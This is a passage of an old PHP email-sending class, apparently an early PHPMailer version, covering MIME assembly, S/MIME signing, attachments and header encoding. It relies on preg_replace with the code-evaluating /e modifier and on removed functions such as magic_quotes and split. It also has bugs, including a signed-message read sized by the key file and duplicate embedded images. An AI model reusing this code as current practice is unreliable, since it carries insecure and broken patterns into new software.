  2031. $result = '';
  2032. if ($this->sign_key_file) {
  2033. $result .= $this->GetMailMIME();
  2034. }
  2035.  
  2036. $this->SetWordWrap();
  2037.  
  2038. switch($this->message_type) {
  2039. case 'alt':
  2040. $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
  2041. $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2042. $result .= $this->LE.$this->LE;
  2043. $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
  2044. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2045. $result .= $this->LE.$this->LE;
  2046. $result .= $this->EndBoundary($this->boundary[1]);
  2047. break;
  2048. case 'plain':
  2049. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2050. break;
  2051. case 'attachments':
  2052. $result .= $this->GetBoundary($this->boundary[1], '', '', '');
  2053. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2054. $result .= $this->LE;
  2055. $result .= $this->AttachAll();
  2056. break;
  2057. case 'alt_attachments':
  2058. $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
  2059. $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
  2060. $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
  2061. $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2062. $result .= $this->LE.$this->LE;
  2063. $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
  2064. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2065. $result .= $this->LE.$this->LE;
  2066. $result .= $this->EndBoundary($this->boundary[2]);
  2067. $result .= $this->AttachAll();
  2068. break;
  2069. }
  2070.  
  2071. if($this->IsError()) {
  2072. $result = '';
  2073. } else if ($this->sign_key_file) {
  2074. $file = tempnam("", "mail");
  2075. $fp = fopen($file, "w");
  2076. fwrite($fp, $result);
  2077. fclose($fp);
  2078. $signed = tempnam("", "signed");
  2079.  
  2080. if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
  2081. $fp = fopen($signed, "r");
  2082. $result = fread($fp, filesize($this->sign_key_file));
  2083. fclose($fp);
  2084. } else {
  2085. $this->SetError($this->Lang("signing").openssl_error_string());
  2086. $result = '';
  2087. }
  2088.  
  2089. unlink($file);
  2090. unlink($signed);
  2091. }
  2092.  
  2093. return $result;
  2094. }
  2095.  
  2096. /**
  2097. * Returns the start of a message boundary.
  2098. * @access private
  2099. */
  2100. function GetBoundary($boundary, $charSet, $contentType, $encoding) {
  2101. $result = '';
  2102. if($charSet == '') {
  2103. $charSet = $this->CharSet;
  2104. }
  2105. if($contentType == '') {
  2106. $contentType = $this->ContentType;
  2107. }
  2108. if($encoding == '') {
  2109. $encoding = $this->Encoding;
  2110. }
  2111. $result .= $this->TextLine('--' . $boundary);
  2112. $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
  2113. $result .= $this->LE;
  2114. $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
  2115. $result .= $this->LE;
  2116.  
  2117. return $result;
  2118. }
  2119.  
  2120. /**
  2121. * Returns the end of a message boundary.
  2122. * @access private
  2123. */
  2124. function EndBoundary($boundary) {
  2125. return $this->LE . '--' . $boundary . '--' . $this->LE;
  2126. }
  2127.  
  2128. /**
  2129. * Sets the message type.
  2130. * @access private
  2131. * @return void
  2132. */
  2133. function SetMessageType() {
  2134. if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
  2135. $this->message_type = 'plain';
  2136. } else {
  2137. if(count($this->attachment) > 0) {
  2138. $this->message_type = 'attachments';
  2139. }
  2140. if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
  2141. $this->message_type = 'alt';
  2142. }
  2143. if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
  2144. $this->message_type = 'alt_attachments';
  2145. }
  2146. }
  2147. }
  2148.  
  2149. /* Returns a formatted header line.
  2150. * @access private
  2151. * @return string
  2152. */
  2153. function HeaderLine($name, $value) {
  2154. return $name . ': ' . $value . $this->LE;
  2155. }
  2156.  
  2157. /**
  2158. * Returns a formatted mail line.
  2159. * @access private
  2160. * @return string
  2161. */
  2162. function TextLine($value) {
  2163. return $value . $this->LE;
  2164. }
  2165.  
  2166. /////////////////////////////////////////////////
  2167. // CLASS METHODS, ATTACHMENTS
  2168. /////////////////////////////////////////////////
  2169.  
  2170. /**
  2171. * Adds an attachment from a path on the filesystem.
  2172. * Returns false if the file could not be found
  2173. * or accessed.
  2174. * @param string $path Path to the attachment.
  2175. * @param string $name Overrides the attachment name.
  2176. * @param string $encoding File encoding (see $Encoding).
  2177. * @param string $type File extension (MIME) type.
  2178. * @return bool
  2179. */
  2180. function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2181. if(!@is_file($path)) {
  2182. $this->SetError($this->Lang('file_access') . $path);
  2183. return false;
  2184. }
  2185.  
  2186. $filename = basename($path);
  2187. if($name == '') {
  2188. $name = $filename;
  2189. }
  2190.  
  2191. $cur = count($this->attachment);
  2192. $this->attachment[$cur][0] = $path;
  2193. $this->attachment[$cur][1] = $filename;
  2194. $this->attachment[$cur][2] = $name;
  2195. $this->attachment[$cur][3] = $encoding;
  2196. $this->attachment[$cur][4] = $type;
  2197. $this->attachment[$cur][5] = false; // isStringAttachment
  2198. $this->attachment[$cur][6] = 'attachment';
  2199. $this->attachment[$cur][7] = 0;
  2200.  
  2201. return true;
  2202. }
  2203.  
  2204. /**
  2205. * Attaches all fs, string, and binary attachments to the message.
  2206. * Returns an empty string on failure.
  2207. * @access private
  2208. * @return string
  2209. */
  2210. function AttachAll() {
  2211. /* Return text of body */
  2212. $mime = array();
  2213.  
  2214. /* Add all attachments */
  2215. for($i = 0; $i < count($this->attachment); $i++) {
  2216. /* Check for string attachment */
  2217. $bString = $this->attachment[$i][5];
  2218. if ($bString) {
  2219. $string = $this->attachment[$i][0];
  2220. } else {
  2221. $path = $this->attachment[$i][0];
  2222. }
  2223.  
  2224. $filename = $this->attachment[$i][1];
  2225. $name = $this->attachment[$i][2];
  2226. $encoding = $this->attachment[$i][3];
  2227. $type = $this->attachment[$i][4];
  2228. $disposition = $this->attachment[$i][6];
  2229. $cid = $this->attachment[$i][7];
  2230.  
  2231. $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
  2232. $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
  2233. $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
  2234.  
  2235. if($disposition == 'inline') {
  2236. $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
  2237. }
  2238.  
  2239. $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
  2240.  
  2241. /* Encode as string attachment */
  2242. if($bString) {
  2243. $mime[] = $this->EncodeString($string, $encoding);
  2244. if($this->IsError()) {
  2245. return '';
  2246. }
  2247. $mime[] = $this->LE.$this->LE;
  2248. } else {
  2249. $mime[] = $this->EncodeFile($path, $encoding);
  2250. if($this->IsError()) {
  2251. return '';
  2252. }
  2253. $mime[] = $this->LE.$this->LE;
  2254. }
  2255. }
  2256.  
  2257. $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
  2258.  
  2259. return join('', $mime);
  2260. }
  2261.  
  2262. /**
  2263. * Encodes attachment in requested format. Returns an
  2264. * empty string on failure.
  2265. * @access private
  2266. * @return string
  2267. */
  2268. function EncodeFile ($path, $encoding = 'base64') {
  2269. if(!@$fd = fopen($path, 'rb')) {
  2270. $this->SetError($this->Lang('file_open') . $path);
  2271. return '';
  2272. }
  2273. $magic_quotes = get_magic_quotes_runtime();
  2274. set_magic_quotes_runtime(0);
  2275. $file_buffer = fread($fd, filesize($path));
  2276. $file_buffer = $this->EncodeString($file_buffer, $encoding);
  2277. fclose($fd);
  2278. set_magic_quotes_runtime($magic_quotes);
  2279.  
  2280. return $file_buffer;
  2281. }
  2282.  
  2283. /**
  2284. * Encodes string to requested format. Returns an
  2285. * empty string on failure.
  2286. * @access private
  2287. * @return string
  2288. */
  2289. function EncodeString ($str, $encoding = 'base64') {
  2290. $encoded = '';
  2291. switch(strtolower($encoding)) {
  2292. case 'base64':
  2293. /* chunk_split is found in PHP >= 3.0.6 */
  2294. $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2295. break;
  2296. case '7bit':
  2297. case '8bit':
  2298. $encoded = $this->FixEOL($str);
  2299. if (substr($encoded, -(strlen($this->LE))) != $this->LE)
  2300. $encoded .= $this->LE;
  2301. break;
  2302. case 'binary':
  2303. $encoded = $str;
  2304. break;
  2305. case 'quoted-printable':
  2306. $encoded = $this->EncodeQP($str);
  2307. break;
  2308. default:
  2309. $this->SetError($this->Lang('encoding') . $encoding);
  2310. break;
  2311. }
  2312. return $encoded;
  2313. }
  2314.  
  2315. /**
  2316. * Encode a header string to best of Q, B, quoted or none.
  2317. * @access private
  2318. * @return string
  2319. */
  2320. function EncodeHeader ($str, $position = 'text') {
  2321. $x = 0;
  2322.  
  2323. switch (strtolower($position)) {
  2324. case 'phrase':
  2325. if (!preg_match('/[\200-\377]/', $str)) {
  2326. /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
  2327. $encoded = addcslashes($str, "\0..\37\177\\\"");
  2328. if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2329. return ($encoded);
  2330. } else {
  2331. return ("\"$encoded\"");
  2332. }
  2333. }
  2334. $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2335. break;
  2336. case 'comment':
  2337. $x = preg_match_all('/[()"]/', $str, $matches);
  2338. /* Fall-through */
  2339. case 'text':
  2340. default:
  2341. $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2342. break;
  2343. }
  2344.  
  2345. if ($x == 0) {
  2346. return ($str);
  2347. }
  2348.  
  2349. $maxlen = 75 - 7 - strlen($this->CharSet);
  2350. /* Try to select the encoding which should produce the shortest output */
  2351. if (strlen($str)/3 < $x) {
  2352. $encoding = 'B';
  2353. if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
  2354. // Use a custom function which correctly encodes and wraps long
  2355. // multibyte strings without breaking lines within a character
  2356. $encoded = $this->Base64EncodeWrapMB($str);
  2357. } else {
  2358. $encoded = base64_encode($str);
  2359. $maxlen -= $maxlen % 4;
  2360. $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2361. }
  2362. } else {
  2363. $encoding = 'Q';
  2364. $encoded = $this->EncodeQ($str, $position);
  2365. $encoded = $this->WrapText($encoded, $maxlen, true);
  2366. $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
  2367. }
  2368.  
  2369. $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
  2370. $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2371.  
  2372. return $encoded;
  2373. }
  2374.  
  2375. /**
  2376. * Checks if a string contains multibyte characters.
  2377. * @access private
  2378. * @param string $str multi-byte text to wrap encode
  2379. * @return bool
  2380. */
  2381. function HasMultiBytes($str) {
  2382. if (function_exists('mb_strlen')) {
  2383. return (strlen($str) > mb_strlen($str, $this->CharSet));
  2384. } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2385. return False;
  2386. }
  2387. }
  2388.  
  2389. /**
  2390. * Correctly encodes and wraps long multibyte strings for mail headers
  2391. * without breaking lines within a character.
  2392. * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
  2393. * @access private
  2394. * @param string $str multi-byte text to wrap encode
  2395. * @return string
  2396. */
  2397. function Base64EncodeWrapMB($str) {
  2398. $start = "=?".$this->CharSet."?B?";
  2399. $end = "?=";
  2400. $encoded = "";
  2401.  
  2402. $mb_length = mb_strlen($str, $this->CharSet);
  2403. // Each line must have length <= 75, including $start and $end
  2404. $length = 75 - strlen($start) - strlen($end);
  2405. // Average multi-byte ratio
  2406. $ratio = $mb_length / strlen($str);
  2407. // Base64 has a 4:3 ratio
  2408. $offset = $avgLength = floor($length * $ratio * .75);
  2409.  
  2410. for ($i = 0; $i < $mb_length; $i += $offset) {
  2411. $lookBack = 0;
  2412.  
  2413. do {
  2414. $offset = $avgLength - $lookBack;
  2415. $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2416. $chunk = base64_encode($chunk);
  2417. $lookBack++;
  2418. }
  2419. while (strlen($chunk) > $length);
  2420.  
  2421. $encoded .= $chunk . $this->LE;
  2422. }
  2423.  
  2424. // Chomp the last linefeed
  2425. $encoded = substr($encoded, 0, -strlen($this->LE));
  2426. return $encoded;
  2427. }
  2428.  
  2429. /**
  2430. * Encode string to quoted-printable.
  2431. * @access private
  2432. * @return string
  2433. */
  2434. function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
  2435. $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
  2436. $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
  2437. $eol = "\r\n";
  2438. $escape = '=';
  2439. $output = '';
  2440. while( list(, $line) = each($lines) ) {
  2441. $linlen = strlen($line);
  2442. $newline = '';
  2443. for($i = 0; $i < $linlen; $i++) {
  2444. $c = substr( $line, $i, 1 );
  2445. $dec = ord( $c );
  2446. if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
  2447. $c = '=2E';
  2448. }
  2449. if ( $dec == 32 ) {
  2450. if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
  2451. $c = '=20';
  2452. } else if ( $space_conv ) {
  2453. $c = '=20';
  2454. }
  2455. } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
  2456. $h2 = floor($dec/16);
  2457. $h1 = floor($dec%16);
  2458. $c = $escape.$hex[$h2].$hex[$h1];
  2459. }
  2460. if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
  2461. $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
  2462. $newline = '';
  2463. // check if newline first character will be point or not
  2464. if ( $dec == 46 ) {
  2465. $c = '=2E';
  2466. }
  2467. }
  2468. $newline .= $c;
  2469. } // end of for
  2470. $output .= $newline.$eol;
  2471. } // end of while
  2472. return trim($output);
  2473. }
  2474.  
  2475. /**
  2476. * Encode string to q encoding.
  2477. * @access private
  2478. * @return string
  2479. */
  2480. function EncodeQ ($str, $position = 'text') {
  2481. /* There should not be any EOL in the string */
  2482. $encoded = preg_replace("[\r\n]", '', $str);
  2483.  
  2484. switch (strtolower($position)) {
  2485. case 'phrase':
  2486. $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2487. break;
  2488. case 'comment':
  2489. $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2490. case 'text':
  2491. default:
  2492. /* Replace every high ascii, control =, ? and _ characters */
  2493. $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
  2494. "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2495. break;
  2496. }
  2497.  
  2498. /* Replace every spaces to _ (more readable than =20) */
  2499. $encoded = str_replace(' ', '_', $encoded);
  2500.  
  2501. return $encoded;
  2502. }
  2503.  
  2504. /**
  2505. * Adds a string or binary attachment (non-filesystem) to the list.
  2506. * This method can be used to attach ascii or binary data,
  2507. * such as a BLOB record from a database.
  2508. * @param string $string String attachment data.
  2509. * @param string $filename Name of the attachment.
  2510. * @param string $encoding File encoding (see $Encoding).
  2511. * @param string $type File extension (MIME) type.
  2512. * @return void
  2513. */
  2514. function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
  2515. /* Append to $attachment array */
  2516. $cur = count($this->attachment);
  2517. $this->attachment[$cur][0] = $string;
  2518. $this->attachment[$cur][1] = $filename;
  2519. $this->attachment[$cur][2] = $filename;
  2520. $this->attachment[$cur][3] = $encoding;
  2521. $this->attachment[$cur][4] = $type;
  2522. $this->attachment[$cur][5] = true; // isString
  2523. $this->attachment[$cur][6] = 'attachment';
  2524. $this->attachment[$cur][7] = 0;
  2525. }
  2526.  
  2527. /**
  2528. * Adds an embedded attachment. This can include images, sounds, and
  2529. * just about any other document. Make sure to set the $type to an
  2530. * image type. For JPEG images use "image/jpeg" and for GIF images
  2531. * use "image/gif".
  2532. * @param string $path Path to the attachment.
  2533. * @param string $cid Content ID of the attachment. Use this to identify
  2534. * the Id for accessing the image in an HTML form.
  2535. * @param string $name Overrides the attachment name.
  2536. * @param string $encoding File encoding (see $Encoding).
  2537. * @param string $type File extension (MIME) type.
  2538. * @return bool
  2539. */
  2540. function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2541.  
  2542. if(!@is_file($path)) {
  2543. $this->SetError($this->Lang('file_access') . $path);
  2544. return false;
  2545. }
  2546.  
  2547. $filename = basename($path);
  2548. if($name == '') {
  2549. $name = $filename;
  2550. }
  2551.  
  2552. /* Append to $attachment array */
  2553. $cur = count($this->attachment);
  2554. $this->attachment[$cur][0] = $path;
  2555. $this->attachment[$cur][1] = $filename;
  2556. $this->attachment[$cur][2] = $name;
  2557. $this->attachment[$cur][3] = $encoding;
  2558. $this->attachment[$cur][4] = $type;
  2559. $this->attachment[$cur][5] = false;
  2560. $this->attachment[$cur][6] = 'inline';
  2561. $this->attachment[$cur][7] = $cid;
  2562.  
  2563. return true;
  2564. }
  2565.  
  2566. /**
  2567. * Returns true if an inline attachment is present.
  2568. * @access private
  2569. * @return bool
  2570. */
  2571. function InlineImageExists() {
  2572. $result = false;
  2573. for($i = 0; $i < count($this->attachment); $i++) {
  2574. if($this->attachment[$i][6] == 'inline') {
  2575. $result = true;
  2576. break;
  2577. }
  2578. }
  2579.  
  2580. return $result;
  2581. }
  2582.  
  2583. /////////////////////////////////////////////////
  2584. // CLASS METHODS, MESSAGE RESET
  2585. /////////////////////////////////////////////////
  2586.  
  2587. /**
  2588. * Clears all recipients assigned in the TO array. Returns void.
  2589. * @return void
  2590. */
  2591. function ClearAddresses() {
  2592. $this->to = array();
  2593. }
  2594.  
  2595. /**
  2596. * Clears all recipients assigned in the CC array. Returns void.
  2597. * @return void
  2598. */
  2599. function ClearCCs() {
  2600. $this->cc = array();
  2601. }
  2602.  
  2603. /**
  2604. * Clears all recipients assigned in the BCC array. Returns void.
  2605. * @return void
  2606. */
  2607. function ClearBCCs() {
  2608. $this->bcc = array();
  2609. }
  2610.  
  2611. /**
  2612. * Clears all recipients assigned in the ReplyTo array. Returns void.
  2613. * @return void
  2614. */
  2615. function ClearReplyTos() {
  2616. $this->ReplyTo = array();
  2617. }
  2618.  
  2619. /**
  2620. * Clears all recipients assigned in the TO, CC and BCC
  2621. * array. Returns void.
  2622. * @return void
  2623. */
  2624. function ClearAllRecipients() {
  2625. $this->to = array();
  2626. $this->cc = array();
  2627. $this->bcc = array();
  2628. }
  2629.  
  2630. /**
  2631. * Clears all previously set filesystem, string, and binary
  2632. * attachments. Returns void.
  2633. * @return void
  2634. */
  2635. function ClearAttachments() {
  2636. $this->attachment = array();
  2637. }
  2638.  
  2639. /**
  2640. * Clears all custom headers. Returns void.
  2641. * @return void
  2642. */
  2643. function ClearCustomHeaders() {
  2644. $this->CustomHeader = array();
  2645. }
  2646.  
  2647. /////////////////////////////////////////////////
  2648. // CLASS METHODS, MISCELLANEOUS
  2649. /////////////////////////////////////////////////
  2650.  
  2651. /**
  2652. * Adds the error message to the error container.
  2653. * Returns void.
  2654. * @access private
  2655. * @return void
  2656. */
  2657. function SetError($msg) {
  2658. $this->error_count++;
  2659. $this->ErrorInfo = $msg;
  2660. }
  2661.  
  2662. /**
  2663. * Returns the proper RFC 822 formatted date.
  2664. * @access private
  2665. * @return string
  2666. */
  2667. function RFCDate() {
  2668. $tz = date('Z');
  2669. $tzs = ($tz < 0) ? '-' : '+';
  2670. $tz = abs($tz);
  2671. $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
  2672. $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
  2673.  
  2674. return $result;
  2675. }
  2676.  
  2677. /**
  2678. * Returns the appropriate server variable. Should work with both
  2679. * PHP 4.1.0+ as well as older versions. Returns an empty string
  2680. * if nothing is found.
  2681. * @access private
  2682. * @return mixed
  2683. */
  2684. function ServerVar($varName) {
  2685. global $HTTP_SERVER_VARS;
  2686. global $HTTP_ENV_VARS;
  2687.  
  2688. if(!isset($_SERVER)) {
  2689. $_SERVER = $HTTP_SERVER_VARS;
  2690. if(!isset($_SERVER['REMOTE_ADDR'])) {
  2691. $_SERVER = $HTTP_ENV_VARS; // must be Apache
  2692. }
  2693. }
  2694.  
  2695. if(isset($_SERVER[$varName])) {
  2696. return $_SERVER[$varName];
  2697. } else {
  2698. return '';
  2699. }
  2700. }
  2701.  
  2702. /**
  2703. * Returns the server hostname or 'localhost.localdomain' if unknown.
  2704. * @access private
  2705. * @return string
  2706. */
  2707. function ServerHostname() {
  2708. if ($this->Hostname != '') {
  2709. $result = $this->Hostname;
  2710. } elseif ($this->ServerVar('SERVER_NAME') != '') {
  2711. $result = $this->ServerVar('SERVER_NAME');
  2712. } else {
  2713. $result = 'localhost.localdomain';
  2714. }
  2715.  
  2716. return $result;
  2717. }
  2718.  
  2719. /**
  2720. * Returns a message in the appropriate language.
  2721. * @access private
  2722. * @return string
  2723. */
  2724. function Lang($key) {
  2725. if(count($this->language) < 1) {
  2726. $this->SetLanguage('en'); // set the default language
  2727. }
  2728.  
  2729. if(isset($this->language[$key])) {
  2730. return $this->language[$key];
  2731. } else {
  2732. return 'Language string failed to load: ' . $key;
  2733. }
  2734. }
  2735.  
  2736. /**
  2737. * Returns true if an error occurred.
  2738. * @return bool
  2739. */
  2740. function IsError() {
  2741. return ($this->error_count > 0);
  2742. }
  2743.  
  2744. /**
  2745. * Changes every end of line from CR or LF to CRLF.
  2746. * @access private
  2747. * @return string
  2748. */
  2749. function FixEOL($str) {
  2750. $str = str_replace("\r\n", "\n", $str);
  2751. $str = str_replace("\r", "\n", $str);
  2752. $str = str_replace("\n", $this->LE, $str);
  2753. return $str;
  2754. }
  2755.  
  2756. /**
  2757. * Adds a custom header.
  2758. * @return void
  2759. */
  2760. function AddCustomHeader($custom_header) {
  2761. $this->CustomHeader[] = explode(':', $custom_header, 2);
  2762. }
  2763.  
  2764. /**
  2765. * Evaluates the message and returns modifications for inline images and backgrounds
  2766. * @access public
  2767. * @return $message
  2768. */
  2769. function MsgHTML($message,$basedir='') {
  2770. preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
  2771. if(isset($images[2])) {
  2772. foreach($images[2] as $i => $url) {
  2773. // do not change urls for absolute images (thanks to corvuscorax)
  2774. if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
  2775. $filename = basename($url);
  2776. $directory = dirname($url);
  2777. ($directory == '.')?$directory='':'';
  2778. $cid = 'cid:' . md5($filename);
  2779. $fileParts = split("\.", $filename);
  2780. $ext = $fileParts[1];
  2781. $mimeType = $this->_mime_types($ext);
  2782. if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
  2783. if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
  2784. $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
  2785. if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
  2786. $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
  2787. }
  2788. }
  2789. }
  2790. }
  2791. $this->IsHTML(true);
  2792. $this->Body = $message;
  2793. $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
  2794. if ( !empty($textMsg) && empty($this->AltBody) ) {
  2795. $this->AltBody = $textMsg;
  2796. }
  2797. if ( empty($this->AltBody) ) {
  2798. $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
  2799. }
  2800. }
  2801.  
  2802. /**
  2803. * Gets the mime type of the embedded or inline image
  2804. * @access private
  2805. * @return mime type of ext
  2806. */
  2807. function _mime_types($ext = '') {
  2808. $mimes = array(
  2809. 'hqx' => 'application/mac-binhex40',
  2810. 'cpt' => 'application/mac-compactpro',
  2811. 'doc' => 'application/msword',
  2812. 'bin' => 'application/macbinary',
  2813. 'dms' => 'application/octet-stream',
  2814. 'lha' => 'application/octet-stream',
  2815. 'lzh' => 'application/octet-stream',
  2816. 'exe' => 'application/octet-stream',
  2817. 'class' => 'application/octet-stream',
  2818. 'psd' => 'application/octet-stream',
  2819. 'so' => 'application/octet-stream',
  2820. 'sea' => 'application/octet-stream',
  2821. 'dll' => 'application/octet-stream',
  2822. 'oda' => 'application/oda',
  2823. 'pdf' => 'application/pdf',
  2824. 'ai' => 'application/postscript',
  2825. 'eps' => 'application/postscript',
  2826. 'ps' => 'application/postscript',
  2827. 'smi' => 'application/smil',
  2828. 'smil' => 'application/smil',
  2829. 'mif' => 'application/vnd.mif',
  2830. 'xls' => 'application/vnd.ms-excel',
  2831. 'ppt' => 'application/vnd.ms-powerpoint',
  2832. 'wbxml' => 'application/vnd.wap.wbxml',
  2833. 'wmlc' => 'application/vnd.wap.wmlc',
  2834. 'dcr' => 'application/x-director',
  2835. 'dir' => 'application/x-director',
  2836. 'dxr' => 'application/x-director',
  2837. 'dvi' => 'application/x-dvi',
  2838. 'gtar' => 'application/x-gtar',
  2839. 'php' => 'application/x-httpd-php',
  2840. 'php4' => 'application/x-httpd-php',
  2841. 'php3' => 'application/x-httpd-php',
  2842. 'phtml' => 'application/x-httpd-php',
  2843. 'phps' => 'application/x-httpd-php-source',
  2844. 'js' => 'application/x-javascript',
  2845. 'swf' => 'application/x-shockwave-flash',
  2846. 'sit' => 'application/x-stuffit',
  2847. 'tar' => 'application/x-tar',
  2848. 'tgz' => 'application/x-tar',
  2849. 'xhtml' => 'application/xhtml+xml',
  2850. 'xht' => 'application/xhtml+xml',
  2851. 'zip' => 'application/zip',
  2852. 'mid' => 'audio/midi',
  2853. 'midi' => 'audio/midi',
  2854. 'mpga' => 'audio/mpeg',
  2855. 'mp2' => 'audio/mpeg',
  2856. 'mp3' => 'audio/mpeg',
  2857. 'aif' => 'audio/x-aiff',
  2858. 'aiff' => 'audio/x-aiff',
  2859. 'aifc' => 'audio/x-aiff',
  2860. 'ram' => 'audio/x-pn-realaudio',
  2861. 'rm' => 'audio/x-pn-realaudio',
  2862. 'rpm' => 'audio/x-pn-realaudio-plugin',
  2863. 'ra' => 'audio/x-realaudio',
  2864. 'rv' => 'video/vnd.rn-realvideo',
  2865. 'wav' => 'audio/x-wav',
  2866. 'bmp' => 'image/bmp',
  2867. 'gif' => 'image/gif',
  2868. 'jpeg' => 'image/jpeg',
  2869. 'jpg' => 'image/jpeg',
  2870. 'jpe' => 'image/jpeg',
  2871. 'png' => 'image/png',
  2872. 'tiff' => 'image/tiff',
  2873. 'tif' => 'image/tiff',
  2874. 'css' => 'text/css',
  2875. 'html' => 'text/html',
  2876. 'htm' => 'text/html',
  2877. 'shtml' => 'text/html',
  2878. 'txt' => 'text/plain',
  2879. 'text' => 'text/plain',
  2880. 'log' => 'text/plain',
  2881. 'rtx' => 'text/richtext',
  2882. 'rtf' => 'text/rtf',
  2883. 'xml' => 'text/xml',
  2884. 'xsl' => 'text/xml',
  2885. 'mpeg' => 'video/mpeg',
  2886. 'mpg' => 'video/mpeg',
  2887. 'mpe' => 'video/mpeg',
  2888. 'qt' => 'video/quicktime',
  2889. 'mov' => 'video/quicktime',
  2890. 'avi' => 'video/x-msvideo',
  2891. 'movie' => 'video/x-sgi-movie',
  2892. 'doc' => 'application/msword',
  2893. 'word' => 'application/msword',
  2894. 'xl' => 'application/excel',
  2895. 'eml' => 'message/rfc822'
  2896. );
  2897. return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
  2898. }
  2899.  
  2900. /**
  2901. * Set (or reset) Class Objects (variables)
  2902. *
  2903. * Usage Example:
  2904. * $page->set('X-Priority', '3');
  2905. *
  2906. * @access public
  2907. * @param string $name Parameter Name
  2908. * @param mixed $value Parameter Value
  2909. * NOTE: will not work with arrays, there are no arrays to set/reset
  2910. */
  2911. function set ( $name, $value = '' ) {
  2912. if ( isset($this->$name) ) {
  2913. $this->$name = $value;
  2914. } else {
  2915. $this->SetError('Cannot set or reset variable ' . $name);
  2916. return false;
  2917. }
  2918. }
  2919.  
  2920. /**
  2921. * Read a file from a supplied filename and return it.
  2922. *
  2923. * @access public
  2924. * @param string $filename Parameter File Name
  2925. */
  2926. function getFile($filename) {
  2927. $return = '';
  2928. if ($fp = fopen($filename, 'rb')) {
  2929. while (!feof($fp)) {
  2930. $return .= fread($fp, 1024);
  2931. }
  2932. fclose($fp);
  2933. return $return;
  2934. } else {
  2935. return false;
  2936. }
  2937. }
  2938.  
  2939. /**
  2940. * Strips newlines to prevent header injection.
  2941. * @access private
  2942. * @param string $str String
  2943. * @return string
  2944. */
  2945. function SecureHeader($str) {
  2946. $str = trim($str);
  2947. $str = str_replace("\r", "", $str);
  2948. $str = str_replace("\n", "", $str);
  2949. return $str;
  2950. }
  2951.  
  2952. /**
  2953. * Set the private key file and password to sign the message.
  2954. *
  2955. * @access public
